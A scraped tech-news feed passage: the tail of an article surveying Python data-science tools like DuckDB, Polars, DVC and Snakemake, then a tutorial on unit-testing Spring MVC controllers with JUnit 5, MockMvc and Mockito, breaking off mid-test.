<p class="wp-block-paragraph">Aside from PostgreSQL, ConnectorX also supports reading from MySQL/MariaDB, SQLite, Amazon Redshift, Microsoft SQL Server and Azure SQL, and Oracle. The results can be funneled into a <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a> or PyArrow DataFrame, or into Modin or Dask (via Pandas), or Polars (via PyArrow). General support for reading from ODBC is a work in progress.</p>



<h2 class="wp-block-heading">DuckDB</h2>



<p class="wp-block-paragraph">Data science folks who use Python ought to be aware of <a href="https://www.infoworld.com/article/2337363/why-you-should-use-sqlite-3.html">SQLite</a>—a small, but powerful and speedy relational database packaged with Python. Since it runs as an in-process library, rather than a separate application, SQLite is lightweight and responsive.</p>



<p class="wp-block-paragraph"><a href="https://duckdb.org/">DuckDB</a> is a little like someone answered the question, “<a href="https://www.infoworld.com/article/2336981/duckdb-the-tiny-but-powerful-analytics-database.html">What if we made SQLite for OLAP?</a>” Like other <a href="https://www.infoworld.com/article/2334471/what-is-olap-analytical-databases.html">OLAP</a> database engines, it uses a columnar datastore and is optimized for long-running analytical query workloads. But DuckDB gives you all the things you expect from a conventional database, like ACID transactions. And there’s no separate software suite to configure; you can get it running in a Python environment with a single <code>pip install duckdb</code> command.</p>



<p class="wp-block-paragraph">DuckDB can directly ingest data in CSV, <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a>, or <a href="https://www.infoworld.com/article/2336762/exploring-the-apache-ecosystem-for-data-analysis.html">Parquet</a> format, as well as <a href="https://duckdb.org/docs/stable/data/data_sources">a slew of other common data sources</a>. The resulting databases can also be partitioned into multiple physical files for efficiency, based on keys (e.g., by year and month). Querying works like any other <a href="https://www.infoworld.com/article/2255395/what-is-sql-the-lingua-franca-of-data-analysis.html">SQL</a>-powered relational database, but with additional built-in features like the ability to take random samples of data or construct window functions.</p>



<p class="wp-block-paragraph">DuckDB also has a small but useful collection of extensions, including full-text search, <a href="https://duckdb.org/docs/stable/core_extensions/vss">accelerated vector similarity search</a>, Excel import/export, direct connections to SQLite and PostgreSQL, Parquet file export, and support for many common geospatial data formats and types.</p>



<h2 class="wp-block-heading">Optimus</h2>



<p class="wp-block-paragraph">One of the least enviable jobs you can be stuck with is cleaning and preparing data for use in a DataFrame-centric project. <a href="https://github.com/hi-primus/optimus">Optimus</a> is an all-in-one tool set for loading, exploring, cleansing, and writing data back out to a variety of data sources.</p>



<p class="wp-block-paragraph">Optimus can use <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, Dask, CUDF (and Dask + CUDF), Vaex, or <a href="https://www.infoworld.com/article/2259224/what-is-apache-spark-the-big-data-platform-that-crushed-hadoop.html">Spark</a> as its underlying data engine. Data can be loaded in from and saved back out to Arrow, Parquet, Excel, a variety of common database sources, or flat-file formats like CSV and JSON.</p>



<p class="wp-block-paragraph">The data manipulation API resembles Pandas, but adds <code>.rows()</code> and <code>.cols()</code> accessors to make it easy to do things like sort a DataFrame, filter by column values, alter data according to criteria, or narrow the range of operations based on some criteria. Optimus also comes bundled with processors for handling common real-world data types like email addresses and URLs.</p>



<p class="wp-block-paragraph">One possible issue with Optimus is that it’s still under active development but its last official release was in 2020. This means it might not be as current as other components in your stack.</p>



<h2 class="wp-block-heading">Polars</h2>



<p class="wp-block-paragraph">If you spend much time working with DataFrames and you’re frustrated by the performance limits of <a href="https://www.infoworld.com/article/2264264/how-to-use-pandas-for-data-analysis-in-python.html">Pandas</a>, reach for <a href="https://github.com/pola-rs/polars">Polars</a>. This DataFrame library for Python offers a convenient syntax similar to Pandas.</p>



<p class="wp-block-paragraph">Unlike Pandas, though, Polars uses a library written in <a href="https://www.infoworld.com/article/2255250/what-is-rust-safe-fast-and-easy-software-development.html">Rust</a> that takes maximum advantage of your hardware out of the box. You don’t need to use special syntax to take advantage of performance-enhancing features like parallel processing or SIMD; it’s all automatic. Even simple operations like reading from a CSV file are faster. Rust developers can <a href="https://github.com/pola-rs/pyo3-polars">craft their own Polars extensions using pyo3</a>.</p>



<p class="wp-block-paragraph">Polars provides eager and lazy execution modes, so queries can be executed immediately or deferred until needed. It also provides a streaming API for processing queries incrementally. Streaming isn’t available yet for many functions, although Polars can always fall back to the in-memory engine for such operations if need be. You can also <a href="https://docs.pola.rs/api/python/stable/reference/lazyframe/api/polars.LazyFrame.show_graph.html">plot execution graphs for queries</a>, streaming or otherwise, if you want to get an idea of what memory or CPU consumption is like for the query (via the external Graphviz library).</p>



<h2 class="wp-block-heading">DVC</h2>



<p class="wp-block-paragraph">A major and pervasive issue with data science experiments is <a href="https://www.infoworld.com/article/2260350/version-control-track-the-who-what-and-when-of-software-changes.html">version control</a>—not of the project’s code, but its data. <a href="https://github.com/iterative/dvc">DVC</a>, short for Data Version Control, lets you attach version descriptors to datasets, check them into Git as you would the rest of your code, and keep versions of data and code consistent together.</p>



<p class="wp-block-paragraph">DVC can track most any kind of dataset as long as they can be expressed as a file, whether kept in local storage or in a <a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">remote storage service</a> like an Amazon S3 bucket. You can describe how data models are managed and used by way of a “<a href="https://dvc.org/doc/user-guide/data-management/remote-storage#supported-storage-types">pipeline</a>,” which DVC’s documentation describes as being like “a Makefile system for machine learning projects.”</p>



<p class="wp-block-paragraph">The use cases for DVC are intended to be more than just allowing data to be versioned alongside code. It also works as a fast data cache for remotely hosted data, a methodology for tracking experiments conducted with data, and a registry or catalog for <a href="https://www.infoworld.com/article/2254843/what-is-machine-learning-intelligence-derived-from-data.html">machine learning models</a> created with the data. <a href="https://www.infoworld.com/article/2254808/get-started-with-visual-studio-code.html">Visual Studio Code</a> users can integrate DVC workflows into the editor by way of the <a href="https://marketplace.visualstudio.com/items?itemName=Iterative.dvc">DVC VS Code extension</a>.</p>



<h2 class="wp-block-heading">Cleanlab</h2>



<p class="wp-block-paragraph">Good machine learning datasets are hard to come by, because it’s expensive and time-consuming to create clean, properly labeled data. Sometimes, though, you have no choice but to use data that’s raw and inconsistent. <a href="https://github.com/cleanlab/cleanlab">Cleanlab</a> (as in, “cleans labels”) was made for this scenario.</p>



<p class="wp-block-paragraph">Cleanlab uses existing, high-quality machine learning datasets to analyze lower-quality, unlabeled (or poorly labeled) datasets. You create a model based on the original dataset, use Cleanlab to figure out what needs to be improved in the original dataset, then re-train using your automatically cleaned and adjusted dataset to see the difference.</p>



<p class="wp-block-paragraph">Cleanlab is data-model and data-framework agnostic, a powerful aspect of its design. It doesn’t matter if you’re running <a href="https://www.infoworld.com/article/2335194/what-is-pytorch-python-machine-learning-on-gpus.html">PyTorch</a>, OpenAI, scikit-learn, or <a href="https://www.infoworld.com/article/2255099/what-is-tensorflow-the-machine-learning-library-explained.html">Tensorflow</a>; Cleanlab can work with any classifier. It does, however, have specific workflows for common tasks like token classification, multi-labeling, regression, image segmentation and object detection, outlier detection, and so on. It’s worth perusing the <a href="https://github.com/cleanlab/examples">example set</a> to see for yourself how the process works and what results you can expect.</p>



<h2 class="wp-block-heading">Snakemake</h2>



<p class="wp-block-paragraph">Data science workflows are hard to set up, and that’s even harder to do in a consistent, predictable way. <a href="https://github.com/snakemake/snakemake">Snakemake</a> was created to automate the process, setting up data analysis workflows in ways that ensure everyone gets the same results. Many existing data science projects rely on Snakemake. The more moving parts you have in your data science workflow, the more likely you’ll benefit from automating that workflow with Snakemake.</p>



<p class="wp-block-paragraph">Snakemake workflows resemble GNU Make workflows—you define the steps of the workflow with rules, which specify what they take in, what they put out, and what commands to execute to accomplish that. Workflow rules can be multithreaded (assuming that gives them any benefit), and configuration data can be piped in from <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON</a> or <a href="https://www.infoworld.com/article/2336307/7-yaml-gotchas-to-avoidand-how-to-avoid-them.html">YAML</a> files. You can also define functions in your workflows to transform data used in rules, and write the actions taken at each step to logs.</p>



<p class="wp-block-paragraph">Snakemake jobs are designed to be portable—they can be deployed on any <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes-managed environment</a>, or in specific cloud environments like Google Cloud Life Sciences or Tibanna on AWS. Workflows can be “frozen” to use a specific set of packages, and successfully executed workflows can have unit tests automatically generated and stored with them. And for long-term archiving, you can store the workflow as a tarball.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Unit testing Spring MVC applications with JUnit 5]]></title>
<description><![CDATA[Spring is a reliable and popular framework for building web and enterprise Java applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from JUnit 5 and Spring to mock each component’s dependencies. In addition to unit test...]]></description>
<link>https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665676/ai-nachrichten/unit-testing-spring-mvc-applications-with-junit-5/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html" data-type="link" data-id="https://www.infoworld.com/article/4083578/a-fresh-look-at-the-spring-framework.html">Spring</a> is a reliable and popular framework for building web and enterprise <a href="https://www.infoworld.com/java/">Java</a> applications. In this article, you’ll learn how to unit test each layer of a Spring MVC application, using built-in testing tools from <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">JUnit 5</a> and Spring to mock each component’s dependencies. In addition to unit testing with MockMvc, Mockito, and Spring’s <code>TestEntityManager</code>, I’ll also briefly introduce slice testing using the <code>@WebMvcTest</code> and <code>@DataJpaTest</code> annotations, used to optimize unit tests on web controllers and databases.</p>



<p class="wp-block-paragraph"><strong>Also see: <a href="https://www.infoworld.com/article/3993538/how-to-test-your-java-applications-with-junit-5.html">How to test your Java applications with JUnit 5</a>.</strong></p>



<h2 class="wp-block-heading">Overview of testing Spring MVC applications</h2>



<p class="wp-block-paragraph">Spring MVC applications are defined using three technology layers:</p>



<ul class="wp-block-list">
<li><em>Controllers</em> accept web requests and return web responses.</li>



<li><em>Services</em> implement the application’s business logic.</li>



<li><em>Repositories</em> persist data to and from your back-end <a href="https://www.infoworld.com/article/2337457/sql-at-50-whats-next-for-the-structured-query-language.html">SQL</a> or <a href="https://www.infoworld.com/article/2260280/what-is-nosql-databases-for-a-cloud-scale-future.html">NoSQL</a> database.</li>
</ul>



<p class="wp-block-paragraph">When we unit test Spring MVC applications, we test each layer separately from the others. We create mock implementations, typically using <a href="https://site.mockito.org/">Mockito</a>, for each layer’s dependencies, then we simulate the logic we want to test. For example, a controller may call a service to retrieve a list of objects. When testing the controller, we create a mock service that either returns the list of objects, returns an empty list, or throws an exception. This test ensures the controller behaves correctly.</p>



<p class="wp-block-paragraph">We’ll use Spring MVC to build and test a simple web service that manages widgets. The structure of the web service is shown here:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig1.png?w=1024" alt="Diagram of a Spring MVC web service application." class="wp-image-4078126" width="1024" height="286" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">This is a classic MVC pattern. We have a <em>widget controller</em> that handles <a href="https://www.infoworld.com/article/2334742/what-is-rest-the-de-facto-web-architecture-standard.html">RESTful requests</a> and delegates its business functionality to a <em>widget service</em>, which uses a <em>widget repository</em> to persist widgets to and from an in-memory H2 database.</p>



<p class="wp-block-paragraph"><strong>Get the source: <a href="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip" data-type="link" data-id="https://b2b-contenthub.com/wp-content/uploads/2025/10/spring-mvc-unit-testing-iw.zip">Download the source code for this article</a>.</strong></p>



<h2 class="wp-block-heading">Unit testing a Spring MVC controller with MockMvc</h2>



<p class="wp-block-paragraph">Setting up a Spring MVC controller test is a two-step process:</p>



<ul class="wp-block-list">
<li>Annotate your test class with <code>@WebMvcTest</code>.</li>



<li>Autowire a <code>MockMvc</code> instance into your controller.</li>
</ul>



<p class="wp-block-paragraph">We could annotate all our test classes with <code>@SpringBootTest</code>, but we’ll use <code>@WebMvcTest</code> instead. The reason is that the <code>@WebMvcTest</code> annotation is used for <em>slice testing</em>. Whereas <code>@SpringBootTest</code> loads your entire Spring application context, <code>@WebMvcTest</code> loads only your web-related resources. Furthermore, if you specify a controller class in the annotation, it will only load the specific controller you want to test. Testing a single “slice” of your application reduces both the amount of compute resources required to set up the test and the time required to run a test.</p>



<p class="wp-block-paragraph">For example, when we test a controller, we’ll mock just the services it uses, and we won’t need any repositories at all. If we don’t need them, then we needn’t waste time loading them. Slice tests were created to make tests perform better and run faster.</p>



<p class="wp-block-paragraph">Here’s the source code for the <code>Widget</code> class we’ll be managing:</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.model;
import jakarta.persistence.Entity;
import jakarta.persistence.GeneratedValue;
import jakarta.persistence.GenerationType;
import jakarta.persistence.Id;

@Entity
public class Widget {
    @Id
    @GeneratedValue(strategy = GenerationType.AUTO)
    private Long id;
    private String name;
    private int version;

    public Widget() {
    }

    public Widget(String name) {
        this.name = name;
    }

    public Widget(String name, int version) {
        this.name = name;
        this.version = version;
    }

    public Widget(Long id, String name, int version) {
        this.id = id;
        this.name = name;
        this.version = version;
    }

    public Long getId() {
        return id;
    }

    public void setId(Long id) {
        this.id = id;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getVersion() {
        return version;
    }

    public void setVersion(int version) {
        this.version = version;
    }
}</code></pre>



<p class="wp-block-paragraph">A <code>Widget</code> is a <a href="https://www.infoworld.com/article/2259807/what-is-jpa-introduction-to-the-java-persistence-api.html">JPA entity</a> that manages three fields:</p>



<ul class="wp-block-list">
<li><em>id</em> is the primary key of the table, annotated with <code>@Id</code> and <code>@GeneratedValue</code>, with an automatic generation strategy.</li>



<li><em>name</em> is the name of the widget.</li>



<li><em>version</em> is the version of the widget resource. We’ll use this value to populate our <code>eTag</code> value and check it in our <code>PUT</code> operation’s <code>If-Match </code>header value. This ensures the widget being updated is not stale.</li>
</ul>



<p class="wp-block-paragraph">Here’s the source code for the controller we’ll be testing (<code>WidgetController.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

import java.net.URI;
import java.net.URISyntaxException;
import java.util.List;
import java.util.Optional;
import com.infoworld.widgetservice.model.Widget;
import com.infoworld.widgetservice.service.WidgetService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.DeleteMapping;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.PutMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class WidgetController {
    @Autowired
    private WidgetService widgetService;
    @GetMapping("/widget/{id}")
    public ResponseEntity getWidget(@PathVariable Long id) {
        return widgetService.findById(id)
                .map(widget -&gt; {
                    try {
                        return ResponseEntity
                                .ok()
                                .location(new URI("/widget/" + id))
                                .eTag(Integer.toString(
                                               widget.getVersion()))
                                .body(widget);
                    } catch (URISyntaxException e) {
                        return ResponseEntity
                          .status(HttpStatus.INTERNAL_SERVER_ERROR)
                          .build();
                    }
                })
                .orElse(ResponseEntity.notFound().build());
    }
    @GetMapping("/widgets")
    public List getWidgets() {
        return widgetService.findAll();
    }
    @PostMapping("/widgets")
    public ResponseEntity createWidget(@RequestBody Widget widget)
    {
        Widget newWidget = widgetService.create(widget);
        try {
           return ResponseEntity
                   .created(new URI("/widget/" + newWidget.getId()))
                   .eTag(Integer.toString(newWidget.getVersion()))
                   .body(newWidget);
        } catch (URISyntaxException e) {
            return ResponseEntity
                    .status(HttpStatus.INTERNAL_SERVER_ERROR)
                    .build();
        }
    }

    @PutMapping("/widget/{id}")
    public ResponseEntity updateWidget(@PathVariable Long id,
                                          @RequestBody Widget widget,
                         @RequestHeader("If-Match") Integer ifMatch) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
            if (w.getVersion() != ifMatch) {
                return ResponseEntity.status(HttpStatus.CONFLICT)
                                     .build();
            }

            w.setName(widget.getName());
            w.setVersion(w.getVersion() + 1);

            Widget updatedWidget = widgetService.save(w);
            try {
                return ResponseEntity.ok()
                        .location(new URI("/widget/" + 
                                      updatedWidget.getId()))
                        .eTag(Integer.toString(
                                      updatedWidget.getVersion()))
                        .body(updatedWidget);
            } catch (URISyntaxException e) {
                throw new RuntimeException(e);
            }
        }).orElse(ResponseEntity.notFound().build());
    }

    @DeleteMapping("widget/{id}")
    public ResponseEntity deleteWidget(@PathVariable Long id) {
        Optional existingWidget = widgetService.findById(id);
        return existingWidget.map(w -&gt; {
           widgetService.deleteById(w.getId());
           return ResponseEntity.ok().build();
        }).orElse(ResponseEntity.notFound().build());
    }
}</code></pre>



<p class="wp-block-paragraph">The <code>WidgetController</code> handles <code>GET</code>, <code>POST</code>, <code>PUT</code>, and <code>DELETE</code> operations, following standard RESTful principles, so we’re going to write tests for each operation.</p>



<p class="wp-block-paragraph">The following source code shows the structure of our test class (<code>WidgetControllerTest.java</code>):</p>



<pre class="wp-block-code"><code>package com.infoworld.widgetservice.web;

@WebMvcTest(WidgetController.class)
public class WidgetControllerTest {
    @Autowired
    private MockMvc mockMvc;

    @MockitoBean
    private WidgetService widgetService;
}</code></pre>



<p class="wp-block-paragraph">I omitted the imports for readability, but the important thing to note is that the class is annotated with the <code>@WebMvcTest</code> annotation, and that we pass in the <code>WidgetController.class</code> as the controller we’re testing. This tells Spring to only load the <code>WidgetController</code> and no other Spring resources. The <code>@WebMvcTest</code> annotation includes other annotations, but the important one for our tests is <code>@AutoConfigureMockMvc</code>, which will cause Spring to create a <code>MockMvc</code> instance and add it to the application context. That lets us autowire it into our test class using the <code>@Autowired</code> annotation.</p>



<p class="wp-block-paragraph">Next, we use the <code>@MockitoBean</code> annotation to use Mockito to create a mock implementation of the <code>WidgetService</code>, after which Spring will autowire it into the <code>WidgetController</code> class. This lets us control the behavior of the <code>WidgetService</code> for the <code>WidgetController</code> test cases we’re writing. Note that starting in Spring Boot version 3.4, <code>@MockitoBean</code> replaced <code>@MockBean</code>. Everything you know about <code>@MockBean</code> translates to using <code>@MockitoBean</code>—with some improvements.</p>



<h3 class="wp-block-heading">Unit testing GET /widgets</h3>



<p class="wp-block-paragraph">Let’s start with the easiest test case, a test for <code>GET /widgets</code>:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgets() throws Exception {
    List widgets = new ArrayList();
    widgets.add(new Widget(1L, "Widget 1", 1));
    widgets.add(new Widget(2L, "Widget 2", 1));
    widgets.add(new Widget(3L, "Widget 3", 1));

    when(widgetService.findAll()).thenReturn(widgets);

    mockMvc.perform(get("/widgets"))
            .andExpect(status().isOk())
            .andExpect(jsonPath("$.length()").value(3))
            .andExpect(jsonPath("$[0].id").value(1L))
            .andExpect(jsonPath("$[0].name").value("Widget 1"))
            .andExpect(jsonPath("$[0].version").value(1));
};</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgets()</code> method creates a list of three widgets and then configures the mock <code>WidgetService</code> to return the list when its <code>findAll()</code> method is called. The <code>WidgetControllerTest</code> class statically imports the <code>org.mockito.Mockito.when()</code> method that accepts a method call, which in this case is <code>widgetService.findAll()</code>, and returns a Mockito <code>OngoingStubbing</code> instance. This <code>OngoingStubbing</code> instance exposes methods like <code>thenReturn()</code>, <code>thenThrow()</code>, <code>thenCallRealMethod()</code>, <code>thenAnswer()</code>, and <code>then()</code>.</p>



<p class="wp-block-paragraph">Here, we use the <code>thenReturn()</code> method to tell Mockito to return the list of widgets when the <code>WidgetService</code>’s <code>findAll()</code> method is called. The <code>@MockitoBean</code> annotation causes the mock <code>WidgetService</code> to be autowired into the <code>WidgetController</code>. So, when the <code>getWidgets()</code> method is called in response to a <code>GET /widgets</code>, it calls the <code>WidgetService</code>’s <code>findAll()</code> method and returns our list of widgets as a web response.</p>



<p class="wp-block-paragraph">Next, we use <code>MockMvc</code>’s <code>perform()</code> method to execute a web request. This diagram shows the various classes that interact with the  <code>perform()</code> method:</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/TestingSpringMVC-fig2.png?w=1024" alt="Diagram of classes that interact with the MockMvc perform() method." class="wp-image-4078130" width="1024" height="439" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Steven Haines</p></div>



<p class="wp-block-paragraph">The <code>perform()</code> method accepts a <code>RequestBuilder</code>. Spring defines several built-in <code>RequestBuilder</code>s that we can statically import into our tests, including <code>get()</code>, <code>post()</code>, <code>put()</code>, and <code>delete()</code>. The <code>perform()</code> method returns a <code>ResultActions</code> instance that exposes methods such as <code>andExpect()</code>, <code>andExpectAll()</code>, <code>andDo()</code>, and <code>andReturn()</code>. Here, we invoke the <code>andExpect()</code> method, which accepts a <code>ResultMatcher</code>. </p>



<p class="wp-block-paragraph">A <code>ResultMatcher</code> defines a<code> match()</code> method that throws an <code>AssertionError</code> if the assertion fails. Spring defines several <code>ResultMatcher</code>s that we can statically import:</p>



<ul class="wp-block-list">
<li><code>status()</code> allows us to check the HTTP status code of response.</li>



<li><code>content()</code> allows us to check the content headers of the response, such as <code>Content-Type</code>.</li>



<li><code>header()</code> allows us to check any of the HTTP header values.</li>



<li><code>jsonPath()</code> allows us to inspect the contents of a <a href="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html" data-type="link" data-id="https://www.infoworld.com/article/2255837/what-is-json-a-better-format-for-data-exchange.html">JSON document</a>.</li>
</ul>



<p class="wp-block-paragraph">After MockMvc performs a <code>GET to /widgets</code>, we expect the HTTP status code to be <code>200 OK</code>.  We can then use the <code>jsonPath</code> matcher to check the body results, using the following JSON path expressions:</p>



<ul class="wp-block-list">
<li><code>$.length()</code>: The <code>$</code> references the root of the JSON document. If the response is a list, then we can call the <code>length()</code> method to get the number of elements in the list.</li>



<li><code>$[0].id</code>: JSON path expressions for a list use an array syntax starting at 0. This expression gets the ID of the first element in the list.</li>



<li><code>$[0].name</code>: This expression gets the name of the first element and compares it to “<code>Widget 1</code>”.</li>



<li><code>$[0].version</code>: This expression gets the version of the first element and compares it to 1.</li>
</ul>



<h3 class="wp-block-heading">Unit testing the GET /widget/{id} handler</h3>



<p class="wp-block-paragraph">Here’s the source code to test the <code>GET /coffee/{id}</code> widget:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetById() throws Exception {
    Widget widget = new Widget(1L, "My Widget", 1);          
    when(widgetService.findById(1L))
           .thenReturn(Optional.of(widget));

    mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 200 OK Response Code
            .andExpect(status().isOk())

            // Validate Headers
            .andExpect(content()
                      .contentType(MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION,
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("My Widget"))
            .andExpect(jsonPath("$.version").value(1));
 }</code></pre>



<p class="wp-block-paragraph">This test method is very similar to the <code>testGetWidgets()</code> method, but with some notable changes:</p>



<ul class="wp-block-list">
<li>The <code>GET</code> URI is defined using a URI template. You can specify any number of variables enclosed in braces in the URI template and then send a list of arguments that will replace those variables in the order they appear in the template.</li>



<li>We check that the returned <code>Content-Type</code> is <code>“application/json”</code>, which is a constant in the <code>MediaType</code> class. We access the content using the <code>content()</code> method, which returns a <code>ContentResultMatchers</code> instance that provides various methods, including <code>contentType()</code>, which allows us to validate the content headers.</li>



<li>We check for specific header values using the <code>header()</code> method. The <code>header()</code> method returns a <code>HeadersResultMatchers</code> instance, which can check for header <code>String</code>, <code>long</code>, and <code>date</code> values, as well as checking to see whether or not specific headers exist. In this case, we use constants defined in the <code>HttpHeaders</code> class to check the <code>location</code> and <code>eTag</code> header values.</li>



<li>We check the body of the response using JSON path expressions. In this case, we do not have a list of objects, so we can access the individual fields in the JSON document directly. For example, <code>$.id</code> retrieves the <code>id</code> field value in the root of the document.</li>
</ul>



<h3 class="wp-block-heading">Unit testing a GET /widget/{id} Not Found code</h3>



<p class="wp-block-paragraph">Next, we test the <code>GET /widget/{id}</code>, passing it an invalid ID so that it returns a 404 Not Found response code:</p>



<pre class="wp-block-code"><code>@Test
void testGetWidgetByIdNotFound() throws Exception {
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   mockMvc.perform(get("/widget/{id}", 1))
            // Validate that we get a 404 Not Found Response Code
            .andExpect(status().isNotFound());
}</code></pre>



<p class="wp-block-paragraph">The <code>testGetWidgetByIdNotFound()</code> method configures the mock <code>WidgetService</code> to return <code>Optional.empty()</code> when its <code>findById()</code> is called with a value of 1. We then perform a <code>GET</code> request to <code>/widget/1</code>, then assert that the returned HTTP status code is 404 Not Found.</p>



<h3 class="wp-block-heading">Unit testing POST /widgets</h3>



<p class="wp-block-paragraph">Here’s how to test a <code>Widget</code> creation:</p>



<pre class="wp-block-code"><code>@Test
void testCreateWidget() throws Exception {
    Widget widget = new Widget(1L, "Widget 1", 1);
    when(widgetService.create(any())).thenReturn(widget);

    mockMvc.perform(post("/widgets")
            .contentType(MediaType.APPLICATION_JSON)
            .content("{\"name\": \"Widget 1\"}"))

            // Validate that we get a 201 Created Response Code
            .andExpect(status().isCreated())

            // Validate Headers
            .andExpect(content().contentType(
                                      MediaType.APPLICATION_JSON))
            .andExpect(header().string(HttpHeaders.LOCATION, 
                                       "/widget/1"))
            .andExpect(header().string(HttpHeaders.ETAG, "\"1\""))

            // Validate content
            .andExpect(jsonPath("$.id").value(1L))
            .andExpect(jsonPath("$.name").value("Widget 1"))
            .andExpect(jsonPath("$.version").value(1));</code></pre>



<p class="wp-block-paragraph">The <code>testCreateWidget()</code> method first creates a <code>Widget</code> to return when the <code>WidgetService</code>’s <code>create()</code> method is called with any argument. The <code>any()</code> matcher matches any argument and, because the <code>createWidget()</code> handler will create a new <code>Widget</code> instance, we will not have access to that instance when the test runs. We then invoke MockMvc’s <code>perform()</code> method to the <code>”/widgets”</code> URI, sending the content body of a new widget named <code>“Widget 1”</code>, using the <code>content()</code> method. We expect a 201 Created HTTP response code, an “<code>application/json</code>” content type, a location header of “<code>/widget/1</code>”, and an <code>eTag</code> value of the <code>String</code> “<code>1</code>”. The body of the response should match the <code>Widget</code> we returned from the <code>create()</code> method, namely an ID of 1, a name of “Widget 1”, and a version of 1.</p>



<h3 class="wp-block-heading">Unit testing PUT /widget</h3>



<p class="wp-block-paragraph">This code runs three tests for the <code>PUT</code> operation:</p>



<pre class="wp-block-code"><code>@Test
public void testSuccessfulUpdate() throws Exception {
    // Create a mock Widget when the WidgetService's findById(1L) 
    // is called
    Widget mockWidget = new Widget(1L, "Widget 1", 5);
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Create a mock Coffee that is returned when the 
    // CoffeeController saves the Coffee to the database
    Widget savedWidget = new Widget(1L, "Updated Widget 1", 6);
    when(widgetService.save(any())).thenReturn(savedWidget);

    // Execute a PUT /widget/1 with a matching version: 5
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 5)
                    .content("{\"id\": 1, " +
                             "\"name\": \"Updated Widget 1\"}"))

            // Validate that we get a 200 OK HTTP Response
           .andExpect(status().isOk())

            // Validate the headers
           .andExpect(content()
                        .contentType(MediaType.APPLICATION_JSON))
           .andExpect(header().string(HttpHeaders.LOCATION, 
                                      "/widget/1"))
           .andExpect(header().string(HttpHeaders.ETAG, "\"6\""))

           // Validate the contents of the response
           .andExpect(jsonPath("$.id").value(1L))
           .andExpect(jsonPath("$.name")
                               .value("Updated Widget 1"))
           .andExpect(jsonPath("$.version").value(6));
}

@Test
public void testUpdateConflict() throws Exception {
   // Create a mock coffee with a version set to 5
   Widget mockWidget = new Widget(1L, "Widget 1", 5);

    // Return the mock Coffee when the CoffeeService's 
    // findById(1L) is called
    when(widgetService.findById(1L))
                      .thenReturn(Optional.of(mockWidget));

    // Execute a PUT /widget/1 with a mismatched version number: 2
    mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Widget 1\"}"))
             // Validate that we get a 409 Conflict HTTP Response
            .andExpect(status().isConflict());
}

@Test
public void testUpdateNotFound() throws Exception {
   // Return the mock Coffee when the CoffeeService's 
   // findById(1L) is called
   when(widgetService.findById(1L)).thenReturn(Optional.empty());

   // Execute a PUT /coffee/1 with a mismatched version number: 2
   mockMvc.perform(put("/widget/{id}", 1L)
                    .contentType(MediaType.APPLICATION_JSON)
                    .header(HttpHeaders.IF_MATCH, 2)
                    .content("{\"id\": 1, " + 
                             "\"name\":  \"Updated Coffee 1\"}"))

           // Validate that we get 404 Not Found
